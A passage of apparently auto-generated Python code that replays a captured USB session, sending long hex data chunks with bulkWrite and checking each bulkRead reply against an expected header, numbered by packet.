b\"\\xED\\xCA\\x2C\\xA5\\x5A\\x2B\\x82\\x61\\xE2\\x1E\\x63\\x4D\\xF4\\x71\\x64\\x2A\"\n b\"\\x7C\\x55\\x16\\xFE\\x27\\x96\\x29\\x8A\\xD6\\xD6\\x58\\x2B\\x1C\\x52\\xF0\\xDD\"\n b\"\\xD5\\xCD\\xCE\\xF1\\x55\\x5E\\x2F\\xBB\\xB0\\xE5\\x16\\xD6\\xAC\\x17\\xAC\\xA2\"\n b\"\\xB9\\x70\\x6B\\x1F\\x50\\x44\\x7B\\xFB\\x26\\x9E\\xD4\\x84\\x85\\x2F\\xA5\\xFD\"\n b\"\\xC1\\xD9\\xC8\\x7D\\x0A\\x26\\x20\\x77\\xCE\\xEB\\xFB\\x6E\\x9B\\x31\\x58\\x67\"\n b\"\\xCF\\x4E\\x13\\x31\\xFB\\xEC\\x73\\x21\\x2A\\x80\\x4F\\xE1\\xCA\\xE9\\x81\\x95\"\n b\"\\x80\\xE5\\xF3\\xDC\\xE8\\xE2\\x42\\x03\\xC3\\xAB\\xE3\\xF3\\x25\\x17\\x5F\\xE9\"\n b\"\\xE0\\xD6\\x30\\x29\\xE3\\xA9\\xFC\\x0C\\xDD\\xD6\\x06\\x78\\xA9\\xB8\\xA5\\x82\"\n b\"\\x2A\\x5E\\xC3\\xD5\\xD1\\xDF\\xE2\\x7A\\x12\\x9E\\x6B\\x29\\xDA\\x63\\x84\\x9C\"\n b\"\\x2E\\x5B\\x88\\x64\\x96\\x3A\\xC4\\xF9\\x8E\\x58\\x92\\x72\\xE3\\x4D\\x02\\x4B\"\n b\"\\xCB\\xDC\\x1E\\x58\\x78\\x04\\x23\\x0C\\x6C\\xCC\\x82\\xE6\")\n # Generated from packet 1339/1340\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1339/1340\")\n # Generated from packet 1341/1342\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x59\\xC2\\x5B\\x76\\x28\\x25\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE9\\x5D\\x8D\\xE2\\x1A\\x23\\x6F\\x36\"\n b\"\\xA1\\x13\\xC5\\x26\\x84\\xBF\\x0B\\xDA\\xEF\\xE4\\x82\\x06\\x55\\x4D\\xF9\\x53\"\n b\"\\xAA\\x5B\\xFF\\x58\\xE7\\x9A\\x2D\\x79\\x8C\\xA2\\x86\\x7C\\xF2\\x6E\\xDA\\xE0\"\n b\"\\xE0\\x37\\xA2\\x58\\xFD\\xED\\xAB\\x7E\\x73\\xB5\\xF5\\x56\\xE4\\x89\\x98\\xED\"\n b\"\\x73\\xF2\\x59\\xDF\\xC3\\x5C\\x8E\\x43\\xF4\\x31\\x5E\\x9C\\x11\\x4E\\x9C\\x19\"\n b\"\\x31\\x07\\xBA\\x94\\xDB\\xAB\\xCF\\x3D\\xA0\\x13\\x60\\xF8\\x06\\x65\\x12\\x13\"\n b\"\\x33\\x85\\xBA\\x0F\\xF4\\xB6\\x6D\\xAA\\xD2\\x2D\\x1F\\xF6\\x22\\x83\\x58\\xF2\"\n b\"\\x61\\x43\\xE7\\xB1\\x17\\x28\\x96\\xCB\\x0F\\x59\\xB7\\x98\\x7C\\x6F\\xEB\\x53\"\n b\"\\x0E\\xEE\\xD8\\xDC\\x10\\x1F\\xA5\\x62\\x84\\x58\\x95\\x18\\x88\\x9A\\x2A\\xF9\"\n b\"\\x16\\x67\\xB0\\x15\\x0A\\x38\\xAA\\x64\\x44\\x67\\x82\\x3B\\xC2\\x19\\x40\\x96\"\n b\"\\xEC\\x00\\xE7\\x87\\xB5\\x39\\x36\\x27\\xE4\\x5B\\x1E\\xFF\\x15\\x5C\\xD0\\x2B\"\n b\"\\x45\\x6D\\x19\\xDC\\xB4\\x21\\xF0\\x10\\x3F\\xFA\\xA1\\x7A\\x26\\x78\\x12\\x04\"\n b\"\\x7E\\x4C\\x10\\xAD\\x87\\x46\\xDC\\x43\\x0B\\xBE\\xE8\\xC8\\x96\\x22\\x6A\\x8C\"\n b\"\\xC7\\x50\\x04\\x51\\x40\\xCF\\x29\\x8D\\xAA\\x25\\x4F\\x9E\\x15\\xA5\\xEA\\xF5\"\n b\"\\x39\\x05\\xC6\\xA0\\xAE\\x0E\\x03\\x2B\\x00\\x07\\x96\\xD4\\xC3\\xDF\\x22\\xCE\"\n b\"\\x24\\x62\\x12\\x61\\x38\\xF3\\x99\\xBF\\xEF\\xF4\\xA4\\xA9\\x92\\x6B\\xDA\\x46\"\n b\"\\x93\\xD7\\xF8\\x7F\\x87\\x9C\\x10\\xF8\\x26\\xD1\\x10\\x5E\")\n # Generated from packet 1343/1344\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1343/1344\")\n # Generated from packet 1345/1346\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xCD\\x75\\x20\\x4F\\xC1\\x75\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x92\\x7B\\x1F\\xFE\\x08\\x60\\x66\\x24\"\n b\"\\xCC\\x5F\\x1B\\xF4\\x3C\\xF7\\x1C\\x69\\x91\\x51\\x92\\x18\\xB7\\xF0\\xE2\\xE8\"\n b\"\\xF3\\xA3\\x63\\x2F\\xE2\\x34\\xE3\\x10\\x74\\x83\\x35\\xDF\\xB5\\x05\\x5E\\x80\"\n b\"\\x75\\xD4\\x4D\\xAB\\xA9\\x56\\xF9\\x5A\\x57\\x21\\x15\\xFC\\x67\\xA8\\x2C\\x51\"\n b\"\\x30\\x73\\x44\\x76\\x5B\\x96\\x1A\\x25\\x00\\xE0\\xBE\\x18\\x00\\xC7\\xDB\\x1E\"\n b\"\\xA5\\x45\\xEC\\xD4\\x75\\x79\\x51\\x54\\xAC\\x47\\x7F\\x2B\\x23\\xDF\\x8D\\x0F\"\n b\"\\xA7\\xC5\\xF0\\x55\\x4E\\x54\\xFB\\x94\\xBE\\x76\\x89\\x46\\xEA\\xC6\\xF7\\x5C\"\n b\"\\x55\\x0C\\x78\\x82\\x99\\xE1\\x2C\\xD3\\x52\\x7C\\x34\\x6F\\x5D\\x33\\xE3\\x0D\"\n b\"\\x2D\\x30\\xF6\\x36\\x6B\\xD6\\x91\\xC8\\x87\\xB1\\x2B\\x47\\xC8\\x71\\xDD\\x1B\"\n b\"\\xB1\\x31\\xE3\\xFA\\x49\\x74\\x14\\xD1\\xB0\\xFD\\x7C\\x55\\xDE\\x2B\\x89\\x95\"\n b\"\\x51\\x0E\\x74\\xD0\\x7C\\x64\\x33\\x4E\\x65\\xF3\\x13\\x37\\xD3\\xC7\\xDF\\x60\"\n b\"\\x34\\x8D\\xD0\\x5F\\xAD\\x0B\\x75\\x04\\x6D\\x7E\\x28\\x0A\\x6D\\xB8\\x07\\x91\"\n b\"\\x1B\\xAE\\x3F\\xFD\\x23\\x9F\\xF6\\x57\\xDE\\x0D\\x14\\x81\\xBD\\x28\\xCC\\x24\"\n b\"\\xA6\\xE2\\x99\\xC6\\xDE\\x48\\xAA\\x6A\\x12\\xE3\\xB3\\x67\\x4D\\x72\\xCA\\xE3\"\n b\"\\xC1\\xBB\\x80\\x02\\x96\\xD7\\x23\\x50\\x36\\x42\\x39\\x03\\x18\\x63\\xE5\\xED\"\n b\"\\x0D\\x59\\xE1\\xCF\\xB1\\x3C\\x42\\x30\\xD7\\x25\\x9F\\x48\\xFB\\x85\\x58\\x91\"\n b\"\\xBA\\xDD\\x13\\x4A\\x03\\xE5\\x37\\xC7\\x36\\xA4\\xA6\\x64\")\n # Generated from packet 1347/1348\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1347/1348\")\n # Generated from packet 1349/1350\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA5\\x20\\x6D\\xDB\\x8C\\x46\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD5\\xD2\\x71\\xEF\\x65\\x45\\xDC\\x83\"\n b\"\\xC7\\x3F\\x5B\\xB8\\x54\\x5B\\x79\\x82\\x2D\\xBD\\xBC\\xB0\\x61\\x86\\x2F\\xD2\"\n b\"\\x4B\\x66\\xD4\\xCE\\xFA\\xA0\\x6C\\x4D\\x77\\xE5\\x5F\\xE9\\x51\\xB3\\x9B\\x39\"\n b\"\\xC3\\x77\\x04\\x4C\\x5C\\x34\\x64\\xDC\\xDA\\x73\\x0D\\xB2\\x34\\x3D\\x68\\x72\"\n b\"\\xF4\\x14\\xEB\\xFB\\xF7\\x65\\xD3\\xC7\\x62\\xE4\\x5B\\xE5\\x5D\\x2C\\x1A\\xB3\"\n b\"\\x53\\xBD\\x39\\xE5\\x96\\xBA\\x06\\xDE\\x52\\x32\\x72\\x94\\xE1\\xFB\\x61\\xC5\"\n b\"\\xDD\\x5B\\xC2\\x1C\\xD9\\xD3\\xA2\\xFE\\x35\\x21\\x1E\\xFE\\xD2\\x76\\x07\\x59\"\n b\"\\x1F\\x3B\\xB2\\xC1\\x88\\x24\\x02\\x73\\xC7\\x5A\\x3D\\x7C\\xFA\\x48\\x7A\\x68\"\n b\"\\xA9\\x07\\x8E\\xC3\\xE0\\x2A\\x5E\\x4C\\x85\\x45\\xB6\\xC8\\x17\\xE6\\xF1\\xF3\"\n b\"\\xE3\\x70\\xE8\\x25\\x8F\\xFF\\x2E\\x8C\\x75\\x8E\\xC1\\x76\\xA0\\xAC\\x70\\x38\"\n b\"\\xC4\\x1B\\xF2\\xB4\\x0E\\xDF\\xF5\\x82\\x92\\x49\\xBB\\x3A\\x72\\x7C\\x07\\x1B\"\n b\"\\x6B\\xC8\\x35\\x51\\x08\\xD0\\x1B\\x2C\\x2B\\x5C\\x72\\xBC\\x59\\x20\\xCD\\x2B\"\n b\"\\x0B\\x1E\\xFE\\xC2\\x50\\x61\\x3D\\xC0\\xB9\\x77\\xAC\\x44\\xEC\\x09\\x8E\\x7F\"\n b\"\\x44\\xD6\\xBB\\xEF\\xD6\\xA4\\xB5\\x16\\xCC\\xB4\\x77\\xA6\\x24\\xAF\\x92\\x18\"\n b\"\\x70\\xC9\\x89\\xE8\\x01\\x8E\\x94\\xB4\\x52\\x03\\xEF\\x0A\\x4A\\x34\\x89\\x65\"\n b\"\\xA2\\xD5\\xEF\\xC6\\x10\\x61\\xA7\\x39\\x72\\xB2\\x51\\x33\\x8B\\xA3\\xA7\\x97\"\n b\"\\x1F\\xF1\\xAB\\x0E\\x90\\x6F\\x78\\x17\\xFA\\x8C\\x96\\x68\")\n # Generated from packet 1351/1352\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1351/1352\")\n # Generated from packet 1353/1354\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x54\\x0E\\xEC\\x07\\xD6\\x54\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAF\\xC5\\xCE\\x84\\x97\\x37\\xAB\\x07\"\n b\"\\x3F\\x91\\x0E\\xD2\\x8E\\x2C\\x17\\x17\\xAF\\x1D\\xE8\\x37\\xCC\\x99\\x3B\\x7C\"\n b\"\\xDE\\x71\\x00\\x2E\\xF1\\xA3\\x32\\x13\\x0D\\x21\\x04\\x6E\\x53\\x2F\\x53\\x8F\"\n b\"\\x9F\\xA8\\xA8\\x47\\xD0\\x4A\\x24\\x7F\\xC8\\x99\\x1D\\xB3\\xCA\\x20\\xEC\\x34\"\n b\"\\x6A\\xFA\\xE9\\x5A\\x94\\x17\\x8A\\x44\\xC2\\x9F\\xF0\\x81\\x77\\xE8\\xE5\\x3E\"\n b\"\\x6B\\xBA\\x59\\x95\\x9F\\xD4\\x93\\xC7\\x63\\x23\\x54\\xA6\\x90\\x9E\\xAC\\xBC\"\n b\"\\xC4\\xED\\xAC\\x0C\\xE3\\x19\\x7C\\xF3\\x0D\\x4B\\x34\\x71\\x67\\x31\\x7F\\xED\"\n b\"\\x7B\\x4A\\x3B\\xFC\\x4F\\xEA\\x16\\xFE\\x57\\x44\\x29\\x8C\\x1A\\x12\\x5B\\x4B\"\n b\"\\x28\\xC9\\x6F\\x63\\xCD\\x58\\x0A\\xC9\\xDB\\x45\\x71\\x6D\\xDF\\x14\\x76\\x6E\"\n b\"\\x16\\x4A\\xDA\\x4E\\xBC\\x45\\xD2\\x95\\x6C\\x3D\\x2F\\xA3\\xAE\\x0F\\x52\\x24\"\n b\"\\x2E\\x88\\xD8\\x65\\xFF\\x23\\x58\\x85\\xB3\\xB7\\x52\\xCF\\xF4\\x42\\x27\\x60\"\n b\"\\x63\\x18\\x82\\xD4\\x22\\x07\\x9C\\x8F\\xEE\\xDC\\x18\\x08\\x62\\x09\\x4F\\xE7\"\n b\"\\x18\\x2D\\x2D\\xD4\\x3A\\xC4\\x0E\\xCA\\x9F\\x9C\\x26\\x83\\x66\\x32\\xC5\\x14\"\n b\"\\x9C\\xEE\\x1B\\x81\\xE8\\x41\\x27\\x31\\x3D\\xA8\\x8F\\x94\\x98\\xCE\\xBF\\x07\"\n b\"\\x55\\x59\\x3D\\x0E\\xE0\\xC7\\x92\\x7F\\x30\\xEE\\x28\\x2A\\xF9\\x4F\\x62\\x73\"\n b\"\\xB6\\x1E\\xA5\\x88\\x5B\\xDE\\xB3\\xAA\\x3F\\x2F\\xF6\\x51\\x70\\xC5\\x13\\x62\"\n b\"\\x86\\xC8\\x21\\x05\\x7F\\x69\\x8A\\xF4\\x86\\x19\\xA2\\x1C\")\n # Generated from packet 1355/1356\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1355/1356\")\n # Generated from packet 1357/1358\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBA\\x24\\x20\\x85\\xA9\\x0E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE2\\x08\\xCF\\x93\\xB7\\x84\\xD8\\x0D\"\n b\"\\x1A\\x39\\xF6\\x75\\x27\\xE0\\x1F\\x4A\\x46\\x2D\\xB0\\x03\\x77\\xCA\\xE2\\x84\"\n b\"\\x69\\x6F\\x12\\xE4\\x3F\\x88\\x13\\xC5\\xB7\\x76\\x86\\xFC\\x56\\x17\\xCA\\x98\"\n b\"\\x3E\\x7B\\x02\\x0D\\x47\\x70\\x36\\x5A\\x6B\\x67\\xA0\\x87\\x03\\xDE\\x6E\\x59\"\n b\"\\x42\\xC6\\x47\\x2E\\x28\\x50\\x2B\\xE0\\xDE\\xBF\\xDC\\x9D\\x68\\x97\\xF6\\x1F\"\n b\"\\x69\\xA7\\xBC\\x89\\xAE\\x44\\x5F\\x40\\x1B\\x0B\\x1D\\xB7\\x49\\x22\\x91\\xA4\"\n b\"\\xB8\\x8A\\x22\\x16\\xCE\\x3C\\xEA\\xDC\\x79\\xBD\\x71\\xE2\\xD8\\x0D\\x00\\xD0\"\n b\"\\x01\\x8A\\x40\\x0D\\x0D\\x93\\x1C\\x95\\xE3\\x7D\\x50\\x3B\\xB6\\xEE\\x6E\\x8A\"\n b\"\\x0E\\xFB\\x1B\\x5B\\xDE\\xB3\\xA5\\x53\\x66\\xB4\\x9B\\xAE\\x5E\\x96\\x3E\\x1B\"\n b\"\\x51\\xB4\\x25\\xB6\\x86\\x1E\\xB8\\x3E\\x23\\x84\\x9C\\xD8\\x91\\xB9\\x9A\\x06\"\n b\"\\x25\\x6E\\xAC\\xD0\\x01\\x78\\xF0\\x30\\x89\\xF4\\xF2\\x54\\x63\\xD8\\xD7\\x7E\"\n b\"\\xB8\\x1D\\x24\\x06\\xAF\\x93\\x84\\x89\\x21\\x7B\\xA7\\xAB\\x9E\\x48\\x11\\x3F\"\n b\"\\x17\\x5E\\xE1\\x5A\\xE2\\x10\\xD6\\xEB\\xED\\xAE\\x97\\x2A\\x01\\xFC\\xC3\\x25\"\n b\"\\xD3\\x91\\xC8\\x73\\x09\\x62\\xF4\\x03\\xF3\\x5C\\x87\\xBB\\x4F\\x19\\xEC\\x62\"\n b\"\\xB2\\x69\\x12\\x48\\x82\\x50\\xE7\\x51\\xF0\\x85\\x0E\\x50\\xA3\\x58\\xEB\\xBD\"\n b\"\\x1F\\x74\\x1E\\xA4\\x33\\xE9\\x3A\\x15\\xEA\\xC8\\x28\\x41\\xF4\\x6C\\x68\\xAC\"\n b\"\\xAB\\x4A\\x55\\xE4\\x10\\x7A\\x8A\\x73\\xB4\\x28\\xD5\\x97\")\n # Generated from packet 1359/1360\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1359/1360\")\n # Generated from packet 1361/1362\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2B\\x0D\\xAC\\x25\\x0B\\x3F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9C\\xE9\\xC2\\xED\\xAA\\xEA\\xEB\\xE7\"\n b\"\\xBB\\x63\\x1E\\x45\\x2D\\xAA\\xF9\\x75\\x9A\\xE8\\xBC\\x28\\xD9\\x45\\x63\\x92\"\n b\"\\xEB\\x3E\\xFB\\x50\\x92\\xA8\\x17\\xF8\\x36\\x28\\x95\\xC1\\xE8\\x2D\\xCD\\x9E\"\n b\"\\x5F\\x73\\x5A\\x63\\xF1\\x83\\x98\\xE5\\x59\\x86\\x06\\x06\\x0B\\x5A\\x33\\x06\"\n b\"\\x83\\xAD\\xAC\\x16\\xB9\\x84\\xFE\\x93\\x7A\\x94\\x9F\\xEC\\x7C\\x44\\xA2\\xF5\"\n b\"\\x41\\x95\\xB1\\x14\\x96\\x3F\\x5C\\x7C\\x28\\xA9\\x91\\x04\\x5E\\x4D\\xB8\\x5B\"\n b\"\\x5F\\x12\\xC8\\x79\\xB2\\x9D\\x0A\\xCB\\x72\\x8D\\x2F\\xBB\\xE1\\x46\\x32\\xA6\"\n b\"\\x99\\x8F\\xFA\\xFE\\xD2\\x10\\xF4\\xF5\\x2A\\xE2\\x75\\x21\\x35\\xC8\\xF0\\x5C\"\n b\"\\xF0\\x6D\\xD8\\x67\\x56\\x68\\x01\\x4F\\x54\\xD3\\xAF\\xD1\\xE8\\x12\\x43\\xE0\"\n b\"\\x85\\xC5\\xAC\\xF4\\x61\\xFE\\xAA\\x9F\\x03\\xB8\\x3E\\x20\\x71\\x4C\\xE2\\xEF\"\n b\"\\x5B\\x74\\xC1\\x06\\x3A\\xD0\\x44\\x5B\\xE4\\x7C\\xA6\\xDE\\x18\\x6A\\xDA\\xB7\"\n b\"\\x4D\\x97\\x76\\x50\\xEA\\x54\\xA6\\xFB\\xA0\\xFF\\xFB\\xF5\\x0B\\xEA\\x56\\x56\"\n b\"\\x2A\\xDD\\xA6\\x08\\x5B\\x4B\\xE6\\x3A\\xC9\\xB8\\x0D\\x86\\x65\\xEE\\x73\\x77\"\n b\"\\x92\\xC9\\x41\\x41\\x54\\x1B\\x85\\x09\\xE0\\x9A\\xA6\\x5D\\xBD\\x49\\xCF\\x68\"\n b\"\\x05\\xE3\\x0F\\x82\\x0B\\x72\\xF4\\xE8\\xA2\\xCE\\x5E\\xD3\\x29\\xFC\\x28\\x46\"\n b\"\\xC5\\x16\\xD7\\xE9\\x6F\\xEB\\x86\\x67\\x26\\xBC\\xB2\\xD9\\xA1\\x3C\\x12\\x73\"\n b\"\\x37\\x35\\xA2\\xC6\\x57\\x92\\x7A\\x74\\xA6\\x5F\\xB3\\x93\")\n # Generated from packet 1363/1364\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1363/1364\")\n # Generated from packet 1365/1366\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5D\\xAE\\x10\\xE6\\x87\\x30\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x27\\x0E\\xCF\\x93\\x72\\x41\\xD6\\xEB\"\n b\"\\xBD\\x86\\x79\\xCF\\x3F\\xFE\\x5D\\xEA\\x23\\xFA\\xB0\\x05\\x9A\\x6A\\xEB\\x4C\"\n b\"\\xB8\\x00\\x12\\xC4\\x64\\xB6\\x41\\x5F\\xFD\\x68\\x07\\x24\\xCB\\xBF\\x2E\\x18\"\n b\"\\xDB\\x1C\\xA9\\x1F\\x09\\x04\\x4E\\x18\\x5E\\x23\\x9C\\x0E\\x0A\\x48\\xC9\\x08\"\n b\"\\x18\\x71\\xBB\\x8F\\x71\\x17\\x19\\x50\\xBA\\xC8\\xDC\\x83\\x50\\x0F\\x24\\x17\"\n b\"\\x51\\x78\\x1B\\xF1\\x16\\x95\\x4D\\x06\\x6B\\x4D\\x3A\\x17\\xD0\\x0D\\xCF\\xF4\"\n b\"\\x81\\x2D\\x3F\\x91\\xEA\\x1C\\x27\\xFE\\xE4\\xFE\\x77\\x80\\xE8\\xDB\\xC5\\xD8\"\n b\"\\x28\\xAB\\x52\\x09\\x05\\x03\\xBC\\xAF\\x1F\\xE1\\x11\\x27\\x0A\\x5D\\xC6\\x72\"\n b\"\\xF9\\xA8\\x57\\x14\\xBB\\x3D\\x21\\xD0\\xC2\\x6B\\xBD\\x97\\x51\\xD1\\x88\\x01\"\n b\"\\x54\\xAF\\x96\\x27\\xA6\\x08\\xBE\\x6B\\x72\\x41\\x18\\xA8\\x9C\\xD4\\x51\\x20\"\n b\"\\xC7\\x3C\\xCE\\x51\\x89\\x3E\\x78\\x41\\x1F\\xE3\\xD2\\x3C\\x37\\xD4\\xE0\\x26\"\n b\"\\xCB\\xAA\\xD9\\x9C\\xDF\\x19\\x1C\\xF5\\x94\\xA9\\xC6\\xB2\\xF6\\xA7\\xD5\\x21\"\n b\"\\xC0\\x7D\\xE8\\xB3\\x84\\xC5\\x5F\\x5D\\x2E\\x5C\\x09\\x89\\x71\\x08\\x50\\xD1\"\n b\"\\xBD\\x61\\x67\\xE6\\xA8\\x39\\x59\\x09\\x85\\x65\\xE5\\x9B\\xEE\\xCB\\x8F\\x7B\"\n b\"\\x8C\\x05\\x9D\\xB6\\xA0\\xEB\\x17\\x16\\xF0\\xB0\\x6A\\x7A\\x04\\x0D\\x52\\x3F\"\n b\"\\xF9\\x0F\\x3E\\xA0\\xB4\\xAE\\x47\\x09\\xA0\\xD9\\x94\\x83\\x71\\x0F\\x41\\xC5\"\n b\"\\x53\\x53\\x9E\\xC6\\x53\\x33\\x57\\xC1\\x55\\xBA\\xE4\\x1B\")\n # Generated from packet 1367/1368\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1367/1368\")\n # Generated from packet 1369/1370\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3E\\x91\\xBF\\x7A\\x97\\x3F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2F\\x93\\xCE\\x2E\\x3B\\xB6\\x44\\xAE\"\n b\"\\x37\\x72\\x45\\x23\\x81\\xF2\\xDD\\x1C\\x2C\\xA9\\x22\\x72\\xB9\\xDA\\xA7\\xD3\"\n b\"\\x13\\x8F\\x47\\x5D\\xDD\\x7E\\xC0\\x4F\\x9E\\x25\\x9B\\x3F\\x90\\xFE\\x8E\\x4C\"\n b\"\\x14\\x0B\\xAD\\x6E\\x26\\xFA\\xBD\\x2B\\xC8\\xAA\\xBB\\xAF\\x18\\x9D\\xD5\\x56\"\n b\"\\x0B\\xF4\\xA4\\xA3\\x90\\xD2\\xD1\\x98\\x21\\x29\\x30\\x93\\x98\\x9A\\xE2\\x62\"\n b\"\\x1A\\xA0\\x10\\x66\\xF3\\x15\\xAC\\x94\\x33\\x44\\xE4\\xD0\\x84\\xFD\\xD5\\x25\"\n b\"\\x9C\\x15\\x70\\xAF\\xEB\\x65\\xB6\\xFB\\x51\\xE5\\x4D\\xDB\\xB8\\x94\\x0A\\x53\"\n b\"\\xCB\\x2B\\xB0\\x0B\\x59\\x6E\\x82\\xAA\\x5D\\xDF\\x7A\\x70\\x07\\x1A\\x58\\x8B\"\n b\"\\x7E\\x9F\\xB6\\x14\\x7F\\xBD\\x1A\\xAF\\x22\\x81\\x08\\xE8\\xA3\\x65\\x68\\x85\"\n b\"\\x31\\x02\\xD9\\x72\\x55\\xA9\\xBC\\x78\\x8D\\x92\\x8C\\xBB\\x48\\xAD\\x0D\\xC0\"\n b\"\\x62\\xBA\\xCF\\xA2\\xD9\\x7E\\xF8\\x83\\x6C\\x45\\x1D\\xB8\\xB9\\x79\\xA4\\xB9\"\n b\"\\x73\\xA7\\x2C\\x7C\\xB4\\xB1\\x6F\\x7B\\x83\\xAD\\x8D\\xE7\\xE9\\x51\\xAE\\x8A\"\n b\"\\x75\\xAA\\x5F\\x64\\x3E\\x92\\xAF\\x45\\xF4\\xB2\\xFA\\xBF\\x11\\xD1\\x93\\x8F\"\n b\"\\x87\\x3B\\x15\\xB6\\xBF\\x99\\x65\\xCD\\xC5\\x6A\\x63\\x6D\\x35\\xDF\\xCD\\xB9\"\n b\"\\x5A\\x29\\x05\\x38\\x5B\\xFD\\x54\\x72\\x6C\\xAA\\xA1\\x5D\\x8B\\xAA\\xEF\\xC0\"\n b\"\\x53\\x6A\\xB4\\x5D\\xC5\\x93\\x13\\x9B\\x48\\x4C\\x28\\x3F\\x0F\\x15\\x3F\\x5A\"\n b\"\\x53\\x54\\xF5\\xE5\\x55\\x93\\xD1\\x20\\x63\\x6B\\x67\\x4E\")\n # Generated from packet 1371/1372\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1371/1372\")\n # Generated from packet 1373/1374\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9D\\x64\\xA4\\x44\\x8C\\x65\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7C\\x1B\\x09\\x3C\\x3E\\x18\\x6B\\x62\"\n b\"\\xC0\\xCD\\x6A\\x87\\xA6\\xDB\\x2A\\x45\\x7E\\x8D\\x4F\\x1F\\x5F\\xE9\\x33\\x32\"\n b\"\\x5E\\x53\\x10\\x58\\x9E\\xA8\\x44\\xE3\\xB3\\xB8\\xE9\\xDF\\x6B\\x70\\x4C\\xB8\"\n b\"\\x7F\\xF0\\x82\\x9E\\x0E\\xC4\\xEF\\x93\\x1E\\x13\\xA5\\xC8\\xAD\\x89\\x73\\x3E\"\n b\"\\x34\\x94\\x05\\x20\\xA5\\x96\\xC9\\xC0\\xF7\\xD5\\xD3\\x66\\x20\\x7E\\x94\\x45\"\n b\"\\x04\\x52\\x75\\x0F\\x1B\\x05\\x99\\x6A\\x83\\xE1\\xF1\\xFF\\x4D\\xC7\\x75\\x99\"\n b\"\\x08\\x6D\\x86\\xD0\\x32\\xDD\\x9F\\x71\\xD6\\xC2\\x7C\\x10\\x6D\\x28\\xCE\\xF1\"\n b\"\\x03\\xF0\\xBA\\xC8\\xCC\\x28\\x07\\x05\\xFC\\x9A\\x1B\\x45\\xDD\\x7E\\x12\\x4E\"\n b\"\\xB4\\xE5\\x36\\x23\\x52\\x2A\\x93\\x0F\\xED\\xA7\\xD3\\x51\\x43\\xE6\\xEA\\xD3\"\n b\"\\xD6\\xCC\\x2E\\x5D\\xB8\\xAD\\x56\\xDB\\x3D\\x9E\\x3C\\x47\\x47\\x0F\\x14\\x6D\"\n b\"\\x74\\x37\\xBE\\x9C\\x43\\xE1\\x54\\x59\\xDD\\xA2\\x17\\xD1\\xE0\\xFD\\x00\\xB2\"\n b\"\\xC1\\xF2\\x1C\\xAF\\x9E\\x09\\xBE\\xD7\\x0F\\x2C\\x5C\\xD8\\x4D\\x9A\\x29\\x83\"\n b\"\\x59\\x5F\\x3F\\x96\\x01\\x25\\x17\\x7A\\x49\\xE4\\x83\\x9D\\x72\\xC7\\x00\\xF9\"\n b\"\\xBE\\xE0\\xE8\\x0C\\xA4\\xBD\\x7D\\xBB\\x96\\x89\\xD6\\x37\\x62\\xFE\\xE3\\x5A\"\n b\"\\x6E\\x4B\\x1A\\x44\\x22\\x1D\\x5E\\x0C\\x48\\x99\\xBD\\x03\\x41\\x40\\xCD\\x10\"\n b\"\\xC3\\x64\\xEE\\x5B\\x96\\xF0\\x91\\x56\\xD8\\xA5\\xA3\\x09\\x33\\x44\\x32\\x20\"\n b\"\\xD8\\xF8\\x15\\xC4\\x9A\\xF5\\x41\\x52\\x24\\x08\\x99\\x32\")\n # Generated from packet 1375/1376\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1375/1376\")\n # Generated from packet 1377/1378\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBD\\x0A\\xD8\\x5C\\x2F\\x41\\x00\\x00\"\n 